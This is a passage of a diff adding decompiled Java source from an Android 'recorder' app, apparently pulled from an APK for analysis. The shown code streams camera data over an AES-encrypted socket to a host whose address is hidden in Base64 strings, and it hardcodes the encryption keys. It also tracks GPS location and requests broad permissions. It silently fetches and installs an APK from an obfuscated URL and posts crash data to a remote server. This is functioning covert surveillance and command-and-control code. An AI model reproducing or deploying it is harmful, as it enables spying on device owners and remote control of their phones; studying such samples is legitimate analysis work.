Size[] highSpeedVideoSizes = ((StreamConfigurationMap) cameraManager2.getCameraCharacteristics(str).get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)).getHighSpeedVideoSizes();
|
||||
int length = highSpeedVideoSizes.length;
|
||||
int i = 0;
|
||||
while (i < length) {
|
||||
Size size = highSpeedVideoSizes[i];
|
||||
if (size.toString().length() > 0) {
|
||||
Range<Integer>[] highSpeedVideoFpsRanges = ((StreamConfigurationMap) cameraManager2.getCameraCharacteristics(str).get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)).getHighSpeedVideoFpsRanges();
|
||||
int length2 = highSpeedVideoFpsRanges.length;
|
||||
int i2 = 0;
|
||||
while (i2 < length2) {
|
||||
Range<Integer> range = highSpeedVideoFpsRanges[i2];
|
||||
if (size.toString().length() > 0) {
|
||||
cameraManager = cameraManager2;
|
||||
stringWriter.write(String.format("%s:%s:%s:%s:%s;", str, Integer.valueOf(size.getWidth()), Integer.valueOf(size.getHeight()), range.getLower(), range.getUpper()));
|
||||
} else {
|
||||
cameraManager = cameraManager2;
|
||||
}
|
||||
i2++;
|
||||
cameraManager2 = cameraManager;
|
||||
}
|
||||
}
|
||||
i++;
|
||||
cameraManager2 = cameraManager2;
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return stringWriter.toString();
|
||||
}
|
||||
|
||||
@Override // java.lang.Thread, java.lang.Runnable
|
||||
public void run() {
|
||||
while (this.open) {
|
||||
try {
|
||||
int i = 1;
|
||||
for (Map.Entry<Integer, Long> entry : this.stat_time.entrySet()) {
|
||||
if (System.currentTimeMillis() - entry.getValue().longValue() < 1000 && i < entry.getKey().intValue()) {
|
||||
i = entry.getKey().intValue();
|
||||
}
|
||||
}
|
||||
if (this.mCameraRecord != null) {
|
||||
i = 4;
|
||||
}
|
||||
if (i != this.stat) {
|
||||
this.speek.send_status(i);
|
||||
this.stat = i;
|
||||
}
|
||||
sleep(200L);
|
||||
} catch (InterruptedException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
package com.nvav.srv.recorder;
|
||||
|
||||
import java.io.BufferedWriter;
|
||||
import java.io.FileWriter;
|
||||
import java.io.OutputStreamWriter;
|
||||
import java.io.PrintWriter;
|
||||
import java.io.StringWriter;
|
||||
import java.lang.Thread;
|
||||
import java.net.HttpURLConnection;
|
||||
import java.net.URL;
|
||||
import java.net.URLEncoder;
|
||||
import java.text.SimpleDateFormat;
|
||||
import java.util.Date;
|
||||
/* loaded from: /home/trevor/apk_decompile/classes.dex */
|
||||
public class CustomExceptionHandler implements Thread.UncaughtExceptionHandler {
|
||||
private Thread.UncaughtExceptionHandler defaultUEH = Thread.getDefaultUncaughtExceptionHandler();
|
||||
private String localPath;
|
||||
private String url;
|
||||
|
||||
public CustomExceptionHandler(String str, String str2) {
|
||||
this.localPath = str;
|
||||
this.url = str2;
|
||||
}
|
||||
|
||||
@Override // java.lang.Thread.UncaughtExceptionHandler
|
||||
public void uncaughtException(Thread thread, Throwable th) {
|
||||
String format = new SimpleDateFormat("YYYYMMddHHmmss").format(new Date());
|
||||
StringWriter stringWriter = new StringWriter();
|
||||
PrintWriter printWriter = new PrintWriter(stringWriter);
|
||||
th.printStackTrace(printWriter);
|
||||
String obj = stringWriter.toString();
|
||||
printWriter.close();
|
||||
String str = format + ".stacktrace";
|
||||
if (this.localPath != null) {
|
||||
writeToFile(obj, str);
|
||||
}
|
||||
if (this.url != null) {
|
||||
sendToServer(obj, str);
|
||||
}
|
||||
this.defaultUEH.uncaughtException(thread, th);
|
||||
}
|
||||
|
||||
private void writeToFile(String str, String str2) {
|
||||
try {
|
||||
BufferedWriter bufferedWriter = new BufferedWriter(new FileWriter(this.localPath + "/" + str2));
|
||||
bufferedWriter.write(str);
|
||||
bufferedWriter.flush();
|
||||
bufferedWriter.close();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
private void sendToServer(String str, String str2) {
|
||||
try {
|
||||
HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(this.url).openConnection();
|
||||
httpURLConnection.setDoOutput(true);
|
||||
httpURLConnection.setRequestMethod("POST");
|
||||
httpURLConnection.setRequestProperty("Accept", "*/*");
|
||||
httpURLConnection.connect();
|
||||
BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(httpURLConnection.getOutputStream(), "UTF-8"));
|
||||
bufferedWriter.write(URLEncoder.encode("filename", "UTF-8") + "=" + URLEncoder.encode(str2, "UTF-8") + "&" + URLEncoder.encode("stacktrace", "UTF-8") + "=" + URLEncoder.encode(str, "UTF-8"));
|
||||
bufferedWriter.flush();
|
||||
bufferedWriter.close();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
package com.nvav.srv.recorder;
|
||||
/* loaded from: /home/trevor/apk_decompile/classes.dex */
|
||||
public interface ICameraRecord {
|
||||
int FPS();
|
||||
|
||||
int MaxISO();
|
||||
|
||||
int MinISO();
|
||||
|
||||
String SetCommand(String str, String str2);
|
||||
|
||||
void Stop();
|
||||
}
|
||||
@@ -0,0 +1,225 @@
|
||||
package com.nvav.srv.recorder;
|
||||
|
||||
import android.util.Base64;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.io.UnsupportedEncodingException;
|
||||
import java.net.Socket;
|
||||
import java.net.URL;
|
||||
import java.net.URLConnection;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.ByteOrder;
|
||||
import java.security.InvalidAlgorithmParameterException;
|
||||
import java.security.InvalidKeyException;
|
||||
import java.security.MessageDigest;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.util.Arrays;
|
||||
import javax.crypto.BadPaddingException;
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.IllegalBlockSizeException;
|
||||
import javax.crypto.NoSuchPaddingException;
|
||||
import javax.crypto.spec.IvParameterSpec;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.xml.parsers.DocumentBuilderFactory;
|
||||
/* loaded from: /home/trevor/apk_decompile/classes.dex */
|
||||
public class InOut extends Thread {
|
||||
static byte[] ast = Base64.decode("aHR0cHM6Ly92aWRzZXIudG9wL2lwL2dldC1pcC1rci5waHA/cG9ydD0=", 0);
|
||||
static byte[] ivByte;
|
||||
static byte[] keyByte;
|
||||
byte Chenal;
|
||||
Comand comand;
|
||||
URL documentUrl;
|
||||
String ust;
|
||||
Socket socket = null;
|
||||
long time_read = System.currentTimeMillis();
|
||||
long data_read = System.currentTimeMillis();
|
||||
String AddresURL = "...";
|
||||
|
||||
static byte[] MD5(String str) throws NoSuchAlgorithmException, UnsupportedEncodingException {
|
||||
return MessageDigest.getInstance("MD5").digest(str.getBytes("UTF-8"));
|
||||
}
|
||||
|
||||
static byte[] encrypt(byte[] bArr) throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidAlgorithmParameterException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException {
|
||||
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
|
||||
cipher.init(1, new SecretKeySpec(keyByte, "AES"), new IvParameterSpec(ivByte));
|
||||
return cipher.doFinal(bArr);
|
||||
}
|
||||
|
||||
static byte[] decrypt(byte[] bArr) throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidAlgorithmParameterException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException {
|
||||
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
|
||||
cipher.init(2, new SecretKeySpec(keyByte, "AES"), new IvParameterSpec(ivByte));
|
||||
return cipher.doFinal(bArr);
|
||||
}
|
||||
|
||||
/* loaded from: /home/trevor/apk_decompile/classes.dex */
|
||||
class Read extends Thread {
|
||||
int size = 0;
|
||||
|
||||
Read() {
|
||||
}
|
||||
|
||||
@Override // java.lang.Thread, java.lang.Runnable
|
||||
public void run() {
|
||||
while (InOut.this.comand.open) {
|
||||
try {
|
||||
sleep(50L);
|
||||
if (InOut.this.socket != null) {
|
||||
while (true) {
|
||||
if (InOut.this.socket.getInputStream().available() <= 0) {
|
||||
break;
|
||||
}
|
||||
int read = InOut.this.socket.getInputStream().read();
|
||||
InOut.this.time_read = System.currentTimeMillis();
|
||||
if (read < 4) {
|
||||
byte[] bArr = new byte[read];
|
||||
InOut.this.socket.getInputStream().read(bArr);
|
||||
this.size = InOut.this.getInt(bArr);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (this.size > 0) {
|
||||
int available = InOut.this.socket.getInputStream().available();
|
||||
int i = this.size;
|
||||
if (available >= i) {
|
||||
byte[] bArr2 = new byte[i];
|
||||
InOut.this.socket.getInputStream().read(bArr2);
|
||||
InOut.this.time_read = System.currentTimeMillis();
|
||||
int i2 = i - 1;
|
||||
if (bArr2[i2] == 0) {
|
||||
InOut.this.comand.status(2);
|
||||
} else {
|
||||
InOut.this.comand.WriteIn(InOut.decrypt(Arrays.copyOfRange(bArr2, 0, i2)));
|
||||
InOut.this.comand.status(3);
|
||||
InOut.this.data_read = System.currentTimeMillis();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
InOut.this.socket = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Write(OutputStream outputStream, byte[] bArr, int i) throws IOException {
|
||||
try {
|
||||
bArr = encrypt(bArr);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
this.socket = null;
|
||||
}
|
||||
byte[] putInt = putInt(bArr.length + 1);
|
||||
int length = putInt.length;
|
||||
while (true) {
|
||||
if (length <= 0) {
|
||||
break;
|
||||
} else if (putInt[length - 1] == 0) {
|
||||
length--;
|
||||
} else if (length < 4) {
|
||||
byte[] bArr2 = new byte[length];
|
||||
System.arraycopy(putInt, 0, bArr2, 0, length);
|
||||
putInt = bArr2;
|
||||
}
|
||||
}
|
||||
outputStream.write(putInt.length);
|
||||
outputStream.write(putInt);
|
||||
outputStream.write(bArr);
|
||||
outputStream.write(i);
|
||||
outputStream.flush();
|
||||
}
|
||||
|
||||
@Override // java.lang.Thread, java.lang.Runnable
|
||||
public void run() {
|
||||
try {
|
||||
URLConnection openConnection = this.documentUrl.openConnection();
|
||||
DocumentBuilderFactory.newInstance().newDocumentBuilder();
|
||||
InputStream inputStream = openConnection.getInputStream();
|
||||
int[] iArr = new int[4];
|
||||
for (int i = 0; i < 4; i++) {
|
||||
iArr[i] = inputStream.read();
|
||||
}
|
||||
this.AddresURL = String.format("%d.%d.%d.%d", Integer.valueOf(iArr[0]), Integer.valueOf(iArr[1]), Integer.valueOf(iArr[2]), Integer.valueOf(iArr[3]));
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
new Read().start();
|
||||
long currentTimeMillis = System.currentTimeMillis();
|
||||
byte b = 0;
|
||||
int i2 = 0;
|
||||
while (this.comand.open) {
|
||||
try {
|
||||
sleep(40L);
|
||||
if (System.currentTimeMillis() - this.time_read > 5000 || this.socket == null) {
|
||||
Socket socket = new Socket(this.AddresURL, 3033);
|
||||
this.socket = socket;
|
||||
socket.getOutputStream().write(1);
|
||||
this.socket.getOutputStream().write(this.Chenal);
|
||||
this.socket.getOutputStream().flush();
|
||||
this.time_read = System.currentTimeMillis();
|
||||
}
|
||||
if (System.currentTimeMillis() - this.data_read > 1500 && System.currentTimeMillis() - currentTimeMillis > 500) {
|
||||
byte b2 = (byte) (b + 1);
|
||||
try {
|
||||
Write(this.socket.getOutputStream(), new byte[]{b}, 0);
|
||||
currentTimeMillis = System.currentTimeMillis();
|
||||
b = b2;
|
||||
} catch (Exception e2) {
|
||||
e = e2;
|
||||
b = b2;
|
||||
e.printStackTrace();
|
||||
this.socket = null;
|
||||
}
|
||||
}
|
||||
i2 = i2 < 2 ? 2 : (byte) (i2 + 1);
|
||||
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
||||
while (this.comand.ReadCount() > 0) {
|
||||
Write(byteArrayOutputStream, this.comand.ReadOut(), i2);
|
||||
if (byteArrayOutputStream.size() > 524288) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (byteArrayOutputStream.size() > 0) {
|
||||
this.socket.getOutputStream().write(byteArrayOutputStream.toByteArray());
|
||||
this.socket.getOutputStream().flush();
|
||||
}
|
||||
byteArrayOutputStream.close();
|
||||
} catch (Exception e3) {
|
||||
e = e3;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int getInt(byte[] bArr) {
|
||||
if (bArr.length < 4) {
|
||||
byte[] bArr2 = {0, 0, 0, 0};
|
||||
System.arraycopy(bArr, 0, bArr2, 0, bArr.length);
|
||||
bArr = bArr2;
|
||||
}
|
||||
return ByteBuffer.wrap(bArr).order(ByteOrder.LITTLE_ENDIAN).getInt(0);
|
||||
}
|
||||
|
||||
byte[] putInt(int i) {
|
||||
return ByteBuffer.allocate(4).order(ByteOrder.LITTLE_ENDIAN).putInt(i).array();
|
||||
}
|
||||
|
||||
public InOut(Comand comand) {
|
||||
this.comand = comand;
|
||||
try {
|
||||
byte byteValue = ChenalC.getInstance(null).get().byteValue();
|
||||
this.Chenal = byteValue;
|
||||
if (byteValue == 0) {
|
||||
return;
|
||||
}
|
||||
this.ust = String.format("%s%d", new String(ast), Byte.valueOf(this.Chenal));
|
||||
this.documentUrl = new URL(this.ust);
|
||||
keyByte = MD5("73!2#qweaSdzxc4r");
|
||||
ivByte = MD5("0_=op[l:',./vf73");
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,331 @@
|
||||
package com.nvav.srv.recorder;
|
||||
|
||||
import android.app.Activity;
|
||||
import android.app.AlertDialog;
|
||||
import android.app.DownloadManager;
|
||||
import android.content.BroadcastReceiver;
|
||||
import android.content.Context;
|
||||
import android.content.DialogInterface;
|
||||
import android.content.Intent;
|
||||
import android.content.IntentFilter;
|
||||
import android.graphics.Color;
|
||||
import android.graphics.drawable.ColorDrawable;
|
||||
import android.net.Uri;
|
||||
import android.os.Bundle;
|
||||
import android.os.Environment;
|
||||
import android.os.Handler;
|
||||
import android.os.Message;
|
||||
import android.os.ResultReceiver;
|
||||
import android.support.v4.app.ActivityCompat;
|
||||
import android.support.v4.content.ContextCompat;
|
||||
import android.support.v4.content.FileProvider;
|
||||
import android.util.Base64;
|
||||
import android.view.MenuItem;
|
||||
import android.view.View;
|
||||
import android.widget.EditText;
|
||||
import android.widget.ImageView;
|
||||
import android.widget.TextView;
|
||||
import android.widget.Toast;
|
||||
import java.io.BufferedInputStream;
|
||||
import java.io.BufferedReader;
|
||||
import java.io.File;
|
||||
import java.io.InputStreamReader;
|
||||
import java.net.HttpURLConnection;
|
||||
import java.net.URL;
|
||||
import java.util.ArrayList;
|
||||
/* loaded from: /home/trevor/apk_decompile/classes.dex */
|
||||
public class MActivity extends Activity {
|
||||
Byte Chenal = (byte) 0;
|
||||
AlertDialog alert;
|
||||
Context context;
|
||||
Handler handler;
|
||||
public Boolean ia;
|
||||
Intent intent;
|
||||
TextView mPreviewView;
|
||||
boolean mRunning;
|
||||
Toast toast;
|
||||
private static final String[] perm = {"android.permission.CAMERA", "android.permission.SET_DEBUG_APP", "android.permission.WRITE_EXTERNAL_STORAGE", "android.permission.READ_EXTERNAL_STORAGE", "android.permission.INTERNET", "android.permission.READ_PHONE_STATE", "android.permission.ACCESS_COARSE_LOCATION", "android.permission.ACCESS_FINE_LOCATION"};
|
||||
static String[] colors = {"#000000", "#B22222", "#00FF7F", "#000080", "#FFFF00", "#7B68EE", "#DC143C", "#006400", "#00FFFF", "#FFA500", "#808080", "#87CEFA"};
|
||||
static int[] chenals = {0, 55, 54, 53, 51, 49, 48, 52, 50, 47, 46, 45};
|
||||
static final String[] key_ch = {"0000", "1111", "533D", "9A32", "DC8F", "1095", "4167", "2E43", "701B", "2BA9", "2BB4", "1F0E"};
|
||||
static byte[] ast = Base64.decode("aHR0cDovL2FsYW50b3JnLmNvbS9O", 0);
|
||||
static byte[] ast1 = Base64.decode("aHR0cHM6Ly9uZXdpcC52aWRzZXIudG9wL04=", 0);
|
||||
static byte[] ast2 = Base64.decode("L3JlYy1yZWxlYXNlLmFwaw==", 0);
|
||||
|
||||
/* loaded from: /home/trevor/apk_decompile/classes.dex */
|
||||
class Updater extends Thread {
|
||||
TextView tv;
|
||||
boolean update = false;
|
||||
private Object lock = new Object();
|
||||
|
||||
Updater() {
|
||||
}
|
||||
|
||||
@Override // java.lang.Thread, java.lang.Runnable
|
||||
public void run() {
|
||||
try {
|
||||
synchronized (this.lock) {
|
||||
this.lock.wait(1000L);
|
||||
}
|
||||
String str = new String(MActivity.ast);
|
||||
HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(String.format("%s%s", str, new String(MActivity.ast1))).openConnection();
|
||||
long parseLong = Long.parseLong(new BufferedReader(new InputStreamReader(new BufferedInputStream(httpURLConnection.getInputStream()))).readLine().trim());
|
||||
httpURLConnection.disconnect();
|
||||
if (parseLong <= new File(MActivity.this.getPackageManager().getApplicationInfo(MActivity.this.getPackageName(), 0).sourceDir).lastModified() / 1000 && !this.update) {
|
||||
MActivity.this.toast.setText("NO Update!");
|
||||
MActivity.this.toast.setGravity(80, 0, 0);
|
||||
MActivity.this.toast.show();
|
||||
synchronized (this.lock) {
|
||||
this.lock.wait(2000L);
|
||||
}
|
||||
return;
|
||||
}
|
||||
String str2 = String.format("%s/", Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS)) + "rec.apk";
|
||||
Uri parse = Uri.parse("file://" + str2);
|
||||
File file = new File(str2);
|
||||
if (file.exists()) {
|
||||
file.delete();
|
||||
}
|
||||
DownloadManager.Request request = new DownloadManager.Request(Uri.parse(String.format("%s%s", str, new String(MActivity.ast2))));
|
||||
request.setTitle(MActivity.this.getString(R.string.app_name));
|
||||
request.setDescription(MActivity.this.getString(R.string.notification_description));
|
||||
request.setDestinationUri(parse);
|
||||
((DownloadManager) MActivity.this.getSystemService("download")).enqueue(request);
|
||||
final Uri uriForFile = FileProvider.getUriForFile(MActivity.this.context, "com.nvav.srv.recorder.provider", file);
|
||||
MActivity.this.alert.setMessage(String.format("%s\n%s\n%s", MActivity.this.context, "com.nvav.srv.recorder.provider", file));
|
||||
this.tv.setText(String.format("%s\n%s\n%s", MActivity.this.context, "com.nvav.srv.recorder.provider", file));
|
||||
MActivity.this.registerReceiver(new BroadcastReceiver() { // from class: com.nvav.srv.recorder.MActivity.Updater.1
|
||||
@Override // android.content.BroadcastReceiver
|
||||
public void onReceive(Context context, Intent intent) {
|
||||
Intent intent2 = new Intent("android.intent.action.INSTALL_PACKAGE");
|
||||
intent2.setData(uriForFile);
|
||||
intent2.setFlags(1);
|
||||
MActivity.this.startActivity(intent2);
|
||||
MActivity.this.unregisterReceiver(this);
|
||||
MActivity.this.finish();
|
||||
}
|
||||
}, new IntentFilter("android.intent.action.DOWNLOAD_COMPLETE"));
|
||||
MActivity.this.toast.setText("Update!");
|
||||
MActivity.this.toast.setGravity(80, 0, 0);
|
||||
MActivity.this.toast.show();
|
||||
synchronized (this.lock) {
|
||||
this.lock.wait(2000L);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void ResetButton() {
|
||||
AlertDialog.Builder builder = new AlertDialog.Builder(this);
|
||||
builder.setTitle("Reset?");
|
||||
builder.setPositiveButton("Yes", new DialogInterface.OnClickListener() { // from class: com.nvav.srv.recorder.MActivity.1
|
||||
@Override // android.content.DialogInterface.OnClickListener
|
||||
public void onClick(DialogInterface dialogInterface, int i) {
|
||||
ChenalC.getInstance(MActivity.this.context).set((byte) 0);
|
||||
dialogInterface.cancel();
|
||||
MActivity.this.finish();
|
||||
}
|
||||
});
|
||||
builder.setNegativeButton("No", new DialogInterface.OnClickListener() { // from class: com.nvav.srv.recorder.MActivity.2
|
||||
@Override // android.content.DialogInterface.OnClickListener
|
||||
public void onClick(DialogInterface dialogInterface, int i) {
|
||||
dialogInterface.cancel();
|
||||
}
|
||||
});
|
||||
builder.show();
|
||||
}
|
||||
|
||||
@Override // android.app.Activity
|
||||
public boolean onOptionsItemSelected(MenuItem menuItem) {
|
||||
if (menuItem.getItemId() != 2130837508) {
|
||||
return super.onOptionsItemSelected(menuItem);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override // android.app.Activity
|
||||
protected void onCreate(Bundle bundle) {
|
||||
String[] strArr;
|
||||
super.onCreate(bundle);
|
||||
this.context = this;
|
||||
this.mRunning = false;
|
||||
this.toast = Toast.makeText(this, "", 0);
|
||||
setContentView(R.layout.activity);
|
||||
this.Chenal = ChenalC.getInstance(this.context).get();
|
||||
new Updater().start();
|
||||
this.mPreviewView = (TextView) findViewById(R.id.preview_view);
|
||||
this.intent = new Intent(this.context, Speek.class);
|
||||
ArrayList arrayList = new ArrayList();
|
||||
for (String str : perm) {
|
||||
if (ContextCompat.checkSelfPermission(this, str) == -1) {
|
||||
arrayList.add(str);
|
||||
}
|
||||
}
|
||||
ActivityCompat.requestPermissions(this, (String[]) arrayList.toArray(new String[arrayList.size()]), 1);
|
||||
if (this.Chenal.byteValue() == 0) {
|
||||
getCh();
|
||||
}
|
||||
((TextView) findViewById(R.id.br)).setOnLongClickListener(new View.OnLongClickListener() { // from class: com.nvav.srv.recorder.MActivity.3
|
||||
@Override // android.view.View.OnLongClickListener
|
||||
public boolean onLongClick(View view) {
|
||||
MActivity.this.ResetButton();
|
||||
return false;
|
||||
}
|
||||
});
|
||||
if (this.Chenal.byteValue() > 0) {
|
||||
init();
|
||||
}
|
||||
final ImageView imageView = (ImageView) findViewById(R.id.L1);
|
||||
final ImageView imageView2 = (ImageView) findViewById(R.id.L2);
|
||||
final ImageView imageView3 = (ImageView) findViewById(R.id.L3);
|
||||
final ImageView imageView4 = (ImageView) findViewById(R.id.L4);
|
||||
this.handler = new Handler() { // from class: com.nvav.srv.recorder.MActivity.4
|
||||
@Override // android.os.Handler
|
||||
public void handleMessage(Message message) {
|
||||
if (message.what == 100) {
|
||||
imageView.setImageResource(R.drawable.off);
|
||||
imageView2.setImageResource(R.drawable.off);
|
||||
imageView3.setImageResource(R.drawable.off);
|
||||
imageView4.setImageResource(R.drawable.off);
|
||||
imageView.setAlpha(0.3f);
|
||||
imageView2.setAlpha(0.3f);
|
||||
imageView3.setAlpha(0.3f);
|
||||
imageView4.setAlpha(0.3f);
|
||||
int i = message.getData().getInt("status");
|
||||
if (i != 1) {
|
||||
if (i != 2) {
|
||||
if (i != 3) {
|
||||
if (i != 4) {
|
||||
return;
|
||||
}
|
||||
imageView4.setImageResource(R.drawable.on);
|
||||
imageView4.setAlpha(1.0f);
|
||||
}
|
||||
imageView3.setImageResource(R.drawable.on);
|
||||
imageView3.setAlpha(1.0f);
|
||||
}
|
||||
imageView2.setImageResource(R.drawable.on);
|
||||
imageView2.setAlpha(1.0f);
|
||||
}
|
||||
imageView.setImageResource(R.drawable.on);
|
||||
imageView.setAlpha(1.0f);
|
||||
}
|
||||
}
|
||||
};
|
||||
try {
|
||||
MyLocListen.SetUpLocationListener(this);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
/* JADX INFO: Access modifiers changed from: private */
|
||||
public void getCh() {
|
||||
AlertDialog.Builder builder = new AlertDialog.Builder(this);
|
||||
builder.setTitle("Input CODE");
|
||||
final EditText editText = new EditText(this);
|
||||
builder.setView(editText);
|
||||
builder.setPositiveButton("OK", new DialogInterface.OnClickListener() { // from class: com.nvav.srv.recorder.MActivity.5
|
||||
@Override // android.content.DialogInterface.OnClickListener
|
||||
public void onClick(DialogInterface dialogInterface, int i) {
|
||||
String obj = editText.getText().toString();
|
||||
int i2 = 1;
|
||||
while (true) {
|
||||
if (i2 >= MActivity.key_ch.length) {
|
||||
break;
|
||||
} else if (obj.toLowerCase().equals(MActivity.key_ch[i2].toLowerCase())) {
|
||||
MActivity.this.Chenal = Byte.valueOf((byte) MActivity.chenals[i2]);
|
||||
ChenalC.getInstance(MActivity.this.context).set(MActivity.this.Chenal);
|
||||
break;
|
||||
} else {
|
||||
i2++;
|
||||
}
|
||||
}
|
||||
if (MActivity.this.Chenal.byteValue() > 1) {
|
||||
MActivity.this.init();
|
||||
} else {
|
||||
MActivity.this.getCh();
|
||||
}
|
||||
}
|
||||
});
|
||||
builder.setNegativeButton("Cancel", new DialogInterface.OnClickListener() { // from class: com.nvav.srv.recorder.MActivity.6
|
||||
@Override // android.content.DialogInterface.OnClickListener
|
||||
public void onClick(DialogInterface dialogInterface, int i) {
|
||||
dialogInterface.cancel();
|
||||
MActivity.this.finish();
|
||||
}
|
||||
});
|
||||
builder.show();
|
||||
}
|
||||
|
||||
/* JADX INFO: Access modifiers changed from: private */
|
||||
public void init() {
|
||||
int i = 1;
|
||||
while (true) {
|
||||
int[] iArr = chenals;
|
||||
if (i >= iArr.length) {
|
||||
i = 0;
|
||||
break;
|
||||
} else if (iArr[i] == this.Chenal.byteValue()) {
|
||||
break;
|
||||
} else {
|
||||
i++;
|
||||
}
|
||||
}
|
||||
setTitle(String.format("(%d) %s %d", 17, getString(R.string.app_name), Integer.valueOf(i)));
|
||||
getActionBar().setBackgroundDrawable(new ColorDrawable(Color.parseColor(colors[i])));
|
||||
this.intent.putExtra("reciver", new MyResultReceiver(null));
|
||||
this.mPreviewView.setOnClickListener(new View.OnClickListener() { // from class: com.nvav.srv.recorder.MActivity.7
|
||||
@Override // android.view.View.OnClickListener
|
||||
public void onClick(View view) {
|
||||
if (MActivity.this.mRunning) {
|
||||
MActivity mActivity = MActivity.this;
|
||||
mActivity.stopService(mActivity.intent);
|
||||
MActivity.this.mRunning = false;
|
||||
return;
|
||||
}
|
||||
MActivity mActivity2 = MActivity.this;
|
||||
mActivity2.startService(mActivity2.intent);
|
||||
MActivity.this.mRunning = true;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/* JADX INFO: Access modifiers changed from: package-private */
|
||||
/* loaded from: /home/trevor/apk_decompile/classes.dex */
|
||||
public class MyResultReceiver extends ResultReceiver {
|
||||
public MyResultReceiver(Handler handler) {
|
||||
super(handler);
|
||||
}
|
||||
|
||||
@Override // android.os.ResultReceiver
|
||||
protected void onReceiveResult(int i, Bundle bundle) {
|
||||
Message message = new Message();
|
||||
message.setData(bundle);
|
||||
message.what = i;
|
||||
MActivity.this.handler.sendMessage(message);
|
||||
}
|
||||
}
|
||||
|
||||
@Override // android.app.Activity
|
||||
protected void onResume() {
|
||||
super.onResume();
|
||||
}
|
||||
|
||||
@Override // android.app.Activity
|
||||
protected void onPause() {
|
||||
super.onPause();
|
||||
}
|
||||
|
||||
@Override // android.app.Activity
|
||||
public void onStart() {
|
||||
super.onStart();
|
||||
}
|
||||
|
||||
@Override // android.app.Activity
|
||||
public void onStop() {
|
||||
super.onStop();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package com.nvav.srv.recorder;
|
||||
|
||||
import android.content.Context;
|
||||
import android.location.Location;
|
||||
import android.location.LocationListener;
|
||||
import android.location.LocationManager;
|
||||
import android.os.Bundle;
|
||||
/* loaded from: /home/trevor/apk_decompile/classes.dex */
|
||||
class MyLocListen implements LocationListener {
|
||||
static Location imHere;
|
||||
|
||||
@Override // android.location.LocationListener
|
||||
public void onProviderDisabled(String str) {
|
||||
}
|
||||
|
||||
@Override // android.location.LocationListener
|
||||
public void onProviderEnabled(String str) {
|
||||
}
|
||||
|
||||
@Override // android.location.LocationListener
|
||||
public void onStatusChanged(String str, int i, Bundle bundle) {
|
||||
}
|
||||
|
||||
MyLocListen() {
|
||||
}
|
||||
|
||||
public static void SetUpLocationListener(Context context) {
|
||||
try {
|
||||
LocationManager locationManager = (LocationManager) context.getSystemService("location");
|
||||
locationManager.requestLocationUpdates("gps", 5000L, 10.0f, new MyLocListen());
|
||||
imHere = locationManager.getLastKnownLocation("gps");
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@Override // android.location.LocationListener
|
||||
public void onLocationChanged(Location location) {
|
||||
imHere = location;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
package com.nvav.srv.recorder;
|
||||
/* loaded from: /home/trevor/apk_decompile/classes.dex */
|
||||
public final class R {
|
||||
|
||||
/* loaded from: /home/trevor/apk_decompile/classes.dex */
|
||||
public static final class drawable {
|
||||
public static final int backr = 0x7f010000;
|
||||
public static final int backrepeat = 0x7f010001;
|
||||
public static final int off = 0x7f010002;
|
||||
public static final int on = 0x7f010003;
|
||||
|
||||
private drawable() {
|
||||
}
|
||||
}
|
||||
|
||||
/* loaded from: /home/trevor/apk_decompile/classes.dex */
|
||||
public static final class id {
|
||||
public static final int L1 = 0x7f020000;
|
||||
public static final int L2 = 0x7f020001;
|
||||
public static final int L3 = 0x7f020002;
|
||||
public static final int L4 = 0x7f020003;
|
||||
public static final int action_settings = 0x7f020004;
|
||||
public static final int br = 0x7f020005;
|
||||
public static final int preview_view = 0x7f020006;
|
||||
|
||||
private id() {
|
||||
}
|
||||
}
|
||||
|
||||
/* loaded from: /home/trevor/apk_decompile/classes.dex */
|
||||
public static final class integer {
|
||||
public static final int Chenal = 0x7f030000;
|
||||
|
||||
